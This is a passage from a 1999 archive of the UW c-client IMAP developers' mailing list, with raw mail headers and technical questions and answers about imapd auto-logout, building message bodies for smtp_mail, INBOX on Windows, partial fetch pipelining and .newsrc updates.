ESMTP id VAA15316 for ; Mon, 8 Mar 1999 21:43:45 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (scipio@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id VAA00178 for ; Mon, 8 Mar 1999 21:43:44 -0800 Message-Id: Date: Mon, 8 Mar 1999 21:43:36 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: "Erik R. Leo" Cc: c-client@cac.washington.edu, Evan Moore Subject: Re: Auto-logout while IDLE? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Mon, 8 Mar 1999, Erik R. Leo wrote: > We noticed certain users were leaving a lot of imapd processes (over 100 > for one of our more pathological cases) around for a much longer than the > default 30 minute auto-logout time (days or even weeks, depending on when > someone would notice & get in to clean things up). Thank you for reporting this problem. It is fixed in 12.251. Your suggested patch will work; however, I have chosen to address the problem in a somewhat different manner to prevent a theoretical race. In addition, 12.251 has a patch to prevent an unlogged in imapd from being kept alive by sending it frequent NOOPs. 12.251 is available in the current: ftp://ftp.cac.washington.edu/mail/imap-4.6.BETA.tar.Z From pinedev@shivax2.cac.washington.edu Sun Mar 14 08:25:29 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Mar 1999 08:25:29 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA11068 for ; Sun, 14 Mar 1999 08:25:28 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA13218; Sun, 14 Mar 1999 08:25:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA04853; Sun, 14 Mar 1999 08:25:21 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA11520 for ; Sun, 14 Mar 1999 08:24:03 -0800 Received: from penguin.ecoast.ca (ip142166042066.nbtel.net [142.166.42.66]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA22084 for ; Sun, 14 Mar 1999 08:24:02 -0800 Received: (from cclient@localhost) by penguin.ecoast.ca (8.8.7/8.8.7) id LAA30487 for c-client@u.washington.edu; Sun, 14 Mar 1999 11:54:21 -0400 Message-Id: <199903141554.LAA30487@penguin.ecoast.ca> Date: Sun, 14 Mar 1999 11:54:21 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: cclient@ecoast.ca To: c-client@u.washington.edu Subject: rfc822_parse_msg X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Has anyone used rfc822_parse_msg to build ENVELOPE and BODY structures? It parses the envelope information but during the body it omits the actual data and only prints the MIME headers. I'm using: rfc822_parse_msg(&env, &bdy, header, strlen(header), &string, defaultdomain, 0) and then passing it to smtp_mail(stream, "MAIL", env, body) Do I need to add the content manually after the BODY is defined from parse_msg ? Setting up my initial text part of the message was a matter of: bdy->nested.part->body.contents.text.data = mmessagetext; ... not sure how to add base64 attachments yet though.. I'll have to go hunting for it.. If anyone can give pointers, I'd appreciate it.. THanks Derek Billingsley -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Mar 14 10:41:42 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Mar 1999 10:41:41 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA19433 for ; Sun, 14 Mar 1999 10:41:40 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA14923; Sun, 14 Mar 1999 10:41:38 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA08492; Sun, 14 Mar 1999 10:41:35 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA19924 for ; Sun, 14 Mar 1999 10:40:38 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (den@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA29939 for ; Sun, 14 Mar 1999 10:40:37 -0800 Message-Id: Date: Sun, 14 Mar 1999 10:37:36 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: cclient@ecoast.ca Cc: c-client@u.washington.edu Subject: re: rfc822_parse_msg In-Reply-To: <199903141554.LAA30487@penguin.ecoast.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN The basic answer to your question is that the BODY structure used by smtp_mail() is different than that used by rfc822_parse_msg(). You can not use rfc822_parse_msg() results to feed to smtp_mail(). There's no answer for "how do I do this" because the real answer is "you don't". In general, you do not call rfc822_parse_msg() directly. Instead, you use the top-level mail_fetch_???() functions. You build your own BODY structure when calling smtp_mail(). From pinedev@shivax2.cac.washington.edu Sun Mar 14 20:52:57 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Mar 1999 20:52:57 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA23845 for ; Sun, 14 Mar 1999 20:52:55 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA22523; Sun, 14 Mar 1999 20:52:53 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id UAA11929; Sun, 14 Mar 1999 20:52:50 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA20286 for ; Sun, 14 Mar 1999 20:52:01 -0800 Received: from relay100.jaring.my (relay100.jaring.my [192.228.128.101]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id UAA06141 for ; Sun, 14 Mar 1999 20:51:58 -0800 Received: (from root@localhost) by relay100.jaring.my (8.9.1a/8.9.1) with UUCP id MAA16936 for c-client@u.washington.edu; Mon, 15 Mar 1999 12:21:03 +0800 (MYT) Received: from [192.228.118.19] by vmsserver (Mailcoach V2.24) via SMTP; Mon, 15 Mar 1999 11:52:38 +0800 (GMT) Message-Id: <002001be6e96$de28d400$1376e4c0@SUPERNOVA> Date: Mon, 15 Mar 1999 11:49:46 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Tiew Ming Ching" To: "IMAP C Client" Subject: SMTP server MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0707.2700 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'm intending to use this imap server on Windows NT. But I also need a SMTP server to go together with it ( as I understand it, the imap server is not plug and play on NT, it depends on how the SMTP server delivers the mail ). Anybody knows of a SMTP server with source which has been tested with this imap server ? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 16 01:31:03 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Mar 1999 01:31:00 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA14902 for ; Tue, 16 Mar 1999 01:30:56 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA20656; Tue, 16 Mar 1999 01:30:53 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id BAA22657; Tue, 16 Mar 1999 01:29:54 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA31244 for ; Tue, 16 Mar 1999 01:28:53 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA07819 for ; Tue, 16 Mar 1999 01:28:53 -0800 Received: from mail6.bellatlantic.net (mail6.bellatlantic.net [151.201.0.38]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id BAA17064 for ; Tue, 16 Mar 1999 01:28:52 -0800 Received: from cmu.edu (client-151-201-128-84.bellatlantic.net [151.201.128.84]) by mail6.bellatlantic.net (8.8.5/8.8.5) with ESMTP id EAA25588 for ; Tue, 16 Mar 1999 04:30:32 -0500 (EST) Message-Id: <36EE23CC.4EAC7DDB@cmu.edu> Date: Tue, 16 Mar 1999 04:26:37 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Andrew Mickish To: c-client@cac.washington.edu Subject: Customizing user's mailboxes MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN According to the mailing list archives and to imap-4.4/docs/CONFIG, I need to edit env_unix.c and recompile to tell the IMAP server where to store the folders created by IMAP clients. Am I missing an imapd configuration file that ought to support this parameter? This seems like a common thing to support without recompiling. Do other impad implementations that have a configuration file for parameters like this? --Andrew Mickish mickish@cmu.edu http://www.andrew.cmu.edu/~am2q/ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 16 04:55:01 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Mar 1999 04:55:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA21095 for ; Tue, 16 Mar 1999 04:55:00 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA19942; Tue, 16 Mar 1999 04:54:58 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id EAA12968; Tue, 16 Mar 1999 04:54:53 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA43386 for ; Tue, 16 Mar 1999 04:53:55 -0800 Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA27496 for ; Tue, 16 Mar 1999 04:53:53 -0800 Received: from goofy_ex.icomverse.com (goofy-ex.icomverse.com [199.203.140.35]) by alpha.netvision.net.il (8.8.6/8.8.6) with ESMTP id OAA29841 for ; Tue, 16 Mar 1999 14:49:54 +0200 (IST) Received: by GOOFY_EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Tue, 16 Mar 1999 14:55:19 +0200 Message-Id: Date: Tue, 16 Mar 1999 14:55:17 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Rubinstein, Dmitry" To: "'c-client'" Subject: An efficient partial body fetch MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi! The IMAP allows fetching a partial fetch of a body part: A001 FETCH 1 BODY[1]<0.2048> will retrieve the first 2048 of the body part 1. This mechanism is implemented in the UW IMAPd, but not reflected in the c-client interfaces. This renders the otherwise useful feature of partial retrieval useless in certain situations. Consider, for example, the following scenario (it is very close to what I have to deal with): an IMAP server over an IMAP mailbox driver. The user issues a request for partial body retrieval. The underlying storage (IMAP) is capable of processing this request efficiently, however the lack of suitable interface makes it impossible to take advantage of the underlying storage capability: the mailbox driver will fetch the whole body part and pass it on to the application, which will return the requested piece to the client, while dumping the rest. What I'd like to have is the ability to have 'pipelining'. That is, to start passing on to the client the information retrieved from the remote mailbox while that information is still being retrieved. Mark, is it planned to have an addition to the mailbox driver and c-client interfaces, that will allow such pipelining? How hard it is to make such an addition? Has anyone else felt a need for such feature? -- Dmitry Rubinstein <*> Home: (972)-8-8647229 Cell: (972)-53-428979 dimrub@icomverse.com http://www.wisdom.weizmann.ac.il/~dimrub -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 16 09:51:38 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Mar 1999 09:51:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA16413 for ; Tue, 16 Mar 1999 09:51:37 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA25682; Tue, 16 Mar 1999 09:51:37 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA02291; Tue, 16 Mar 1999 09:47:22 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA21510 for ; Tue, 16 Mar 1999 09:45:59 -0800 Received: from ariane.ens-cachan.fr (ariane.ens-cachan.fr [138.231.176.4]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA16362 for ; Tue, 16 Mar 1999 09:45:58 -0800 Received: from piano.dptmaths.ens-cachan.fr (piano.dptmaths.ens-cachan.fr [138.231.32.2]) by ariane.ens-cachan.fr (8.8.8/jtpda-5.3.1) with ESMTP id SAA26427 for ; Tue, 16 Mar 1999 18:45:57 +0100 (MET) Received: from localhost (zeitlin@localhost) by piano.dptmaths.ens-cachan.fr (8.8.8/jtpda-5.2) with ESMTP id SAA11151 for ; Tue, 16 Mar 1999 18:33:44 +0100 (MET) Message-Id: Date: Tue, 16 Mar 1999 18:33:43 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Vadim Zeitlin To: c-client@u.washington.edu Subject: INBOX folder under Windows? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hello, sorry for a naive question, but what is the meaning of INBOX folder under Windows (Win32 to be exact)? I.e., what is the difference between it and any other folder, what could it be used for? I guess for it to be not completely useless, I have to configure it somehow - is this true? TIA, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Mar 16 12:23:39 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Mar 1999 12:23:39 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA28687 for ; Tue, 16 Mar 1999 12:23:38 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA00733; Tue, 16 Mar 1999 12:23:37 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id MAA16935; Tue, 16 Mar 1999 12:19:21 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA39444 for ; Tue, 16 Mar 1999 12:18:50 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (hatk@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id MAA21986 for ; Tue, 16 Mar 1999 12:18:49 -0800 Message-Id: Date: Tue, 16 Mar 1999 12:18:41 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re: INBOX folder under Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: MRC@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 16 Mar 1999, Vadim Zeitlin wrote: > sorry for a naive question, but what is the meaning of INBOX > folder under Windows (Win32 to be exact)? I.e., what is the > difference between it and any other folder, what could it be > used for? I guess for it to be not completely useless, I have > to configure it somehow - is this true? If you are talking about the local INBOX (not on an IMAP server), it is just a mailbox called INBOX in the "home directory" (which is defined under NT, and inferred under Win9x). In general, unless you have an NT-based IMAP server, INBOX doesn't really mean anything. From pinedev@shivax2.cac.washington.edu Tue Mar 16 13:34:09 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Mar 1999 13:34:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA30063 for ; Tue, 16 Mar 1999 13:34:07 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA31943; Tue, 16 Mar 1999 13:34:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA20147; Tue, 16 Mar 1999 13:30:16 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA19754 for ; Tue, 16 Mar 1999 13:29:30 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (mccabe@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA21552 for ; Tue, 16 Mar 1999 13:29:29 -0800 Message-Id: Date: Tue, 16 Mar 1999 09:39:45 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: "Rubinstein, Dmitry" Cc: "'c-client'" Subject: re: An efficient partial body fetch In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 16 Mar 1999 14:55:17 +0200, Rubinstein, Dmitry wrote: > What I'd like to have is the ability to have 'pipelining'. That is, to start > passing on to the client the information retrieved from the remote mailbox > while that information is still being retrieved. This is the first time that anyone has made this request. In most cases, imapd access a local mailbox file. It's a reasonable request. Unfortunately the straightforward implementation would be an exceedingly poor performer. imapd has special code to do successive partial fetches of the same text efficiently. imapd remembers the last text used by a partial fetch, and reuses that text for another partial fetch on the same text. In effect, imapd sacrifices the ability to pipeline itself in order to offer pipelining to the IMAP client. I'm sure that you'll agree that this was the correct trade-off. It would probably be a lot of work in order to do this without requiring such a trade-off. I don't have any plans to do it. I'd be willing to give you some advice if you want to undertake it yourself, but I suspect that when you see what's involved you'll become as reluctant as me. From pinedev@shivax2.cac.washington.edu Tue Mar 16 13:49:30 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Mar 1999 13:49:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA19094 for ; Tue, 16 Mar 1999 13:49:28 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA32343; Tue, 16 Mar 1999 13:49:27 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id NAA21123; Tue, 16 Mar 1999 13:45:45 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA23790 for ; Tue, 16 Mar 1999 13:45:03 -0800 Received: from ariane.ens-cachan.fr (ariane.ens-cachan.fr [138.231.176.4]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id NAA03595 for ; Tue, 16 Mar 1999 13:45:02 -0800 Received: from piano.dptmaths.ens-cachan.fr (piano.dptmaths.ens-cachan.fr [138.231.32.2]) by ariane.ens-cachan.fr (8.8.8/jtpda-5.3.1) with ESMTP id WAA27889 for ; Tue, 16 Mar 1999 22:44:57 +0100 (MET) Received: from localhost (zeitlin@localhost) by piano.dptmaths.ens-cachan.fr (8.8.8/jtpda-5.2) with ESMTP id WAA12696 for ; Tue, 16 Mar 1999 22:32:42 +0100 (MET) Message-Id: Date: Tue, 16 Mar 1999 22:32:42 +0100 (MET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re: INBOX folder under Windows? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Thanks for the reply, Mark! On 16-Mar-99 Mark Crispin wrote: > If you are talking about the local INBOX (not on an IMAP server), Yes, this is what I meant, indeed. > it is > just a mailbox called INBOX in the "home directory" (which is defined > under NT, and inferred under Win9x). Is it possible to change this location from my program? > In general, unless you have an NT-based IMAP server, INBOX doesn't really > mean anything. That's the conclusion I came to. Are any parts of cclient lib dependent on its existence, i.e. will anything break if it's not used at all? Thanks again, VZ From pinedev@shivax2.cac.washington.edu Tue Mar 16 14:25:28 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 16 Mar 1999 14:25:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA21020 for ; Tue, 16 Mar 1999 14:25:27 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA00512; Tue, 16 Mar 1999 14:25:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id OAA23236; Tue, 16 Mar 1999 14:21:37 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA18638 for ; Tue, 16 Mar 1999 14:20:39 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (strider@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA09697 for ; Tue, 16 Mar 1999 14:20:39 -0800 Message-Id: Date: Tue, 16 Mar 1999 14:20:12 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: Re: INBOX folder under Windows? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: MRC@shivams.cac.washington.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 16 Mar 1999, Vadim Zeitlin wrote: > > it is > > just a mailbox called INBOX in the "home directory" (which is defined > > under NT, and inferred under Win9x). > > Is it possible to change this location from my program? There is a mail_parameters() call that will do this. > > In general, unless you have an NT-based IMAP server, INBOX doesn't really > > mean anything. > That's the conclusion I came to. Are any parts of cclient lib dependent > on its existence, i.e. will anything break if it's not used at all? Not on Windows. From pinedev@shivax2.cac.washington.edu Thu Mar 18 10:24:37 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Mar 1999 10:24:36 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA07527 for ; Thu, 18 Mar 1999 10:24:35 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA24424; Thu, 18 Mar 1999 10:24:34 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA13155; Thu, 18 Mar 1999 10:19:55 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA31332 for ; Thu, 18 Mar 1999 10:17:40 -0800 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA22188 for ; Thu, 18 Mar 1999 10:17:21 -0800 Received: from bidean (bidean [137.195.28.36]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id SAA00140 for ; Thu, 18 Mar 1999 18:17:08 GMT Message-Id: <199903181817.SAA00140@phy.hw.ac.uk> Date: Thu, 18 Mar 1999 18:17:07 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Karsten Ballueder To: C-Client mailing list Subject: How to get .newsrc updated? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGgdirty is false and = the=0A.newsrc file does not get updated.=0A=0AHow do I correctly mark messa= ges so that they will not show up again next=0Atime and .newsrc gets update= d? Marking them as deleted doesn't seem to=0Ahelp either.=0A=0AThanks a lot= in advance!=0A--=0A Karsten Ball=FCder http://www.phy.hw.ac.uk/~karsten/ m= ailto:Ballueder@usa.net=0A Physics Department, Heriot-Watt University, Edin= burgh, EH14 4AS, Scotland=0A Tel. +44-(0)-131-4513068 = Fax. +44-(0)-131-4513136=0A "In a world without fences, who needs= Gates?" =0A=0A -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Mar 18 10:53:35 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Mar 1999 10:53:35 -0800 (PST) Return-Path: 